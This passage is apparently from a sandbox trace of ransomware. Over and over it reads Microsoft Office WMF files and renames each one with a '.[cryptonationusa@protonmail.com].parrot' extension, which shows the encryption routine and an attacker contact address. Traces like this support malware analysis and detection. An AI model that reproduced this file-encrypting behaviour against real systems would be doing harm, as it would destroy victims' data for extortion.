dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.742] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1216, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1216, lpOverlapped=0x0) returned 1 [0161.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.746] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.750] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.750] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.752] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.752] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8cbe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8cbe, lpOverlapped=0x0) returned 1 [0161.755] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.761] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.761] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.762] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.762] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2518, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2518, lpOverlapped=0x0) returned 1 [0161.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.782] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.784] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.784] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ec4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8ec4, lpOverlapped=0x0) returned 1 [0161.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0161.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.793] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.838] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf5e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf5e, lpOverlapped=0x0) returned 1 [0161.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0161.852] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.852] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.854] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x341e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x341e, lpOverlapped=0x0) returned 1 [0161.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.861] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.863] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.864] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x900, lpOverlapped=0x0) returned 1 [0161.864] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0161.868] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.868] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.870] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaf0, lpOverlapped=0x0) returned 1 [0161.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0161.874] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.874] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.876] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x948, lpOverlapped=0x0) returned 1 [0161.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.070] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.070] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.071] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.071] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2398, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2398, lpOverlapped=0x0) returned 1 [0162.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.108] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.108] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.110] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.110] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11e2, lpOverlapped=0x0) returned 1 [0162.111] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.116] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.116] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.118] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.118] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17f2, lpOverlapped=0x0) returned 1 [0162.119] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.124] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.124] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.125] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.126] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb34e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb34e, lpOverlapped=0x0) returned 1 [0162.128] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.187] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.189] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11be, lpOverlapped=0x0) returned 1 [0162.189] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.190] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.197] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.198] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x248e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x248e, lpOverlapped=0x0) returned 1 [0162.200] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | 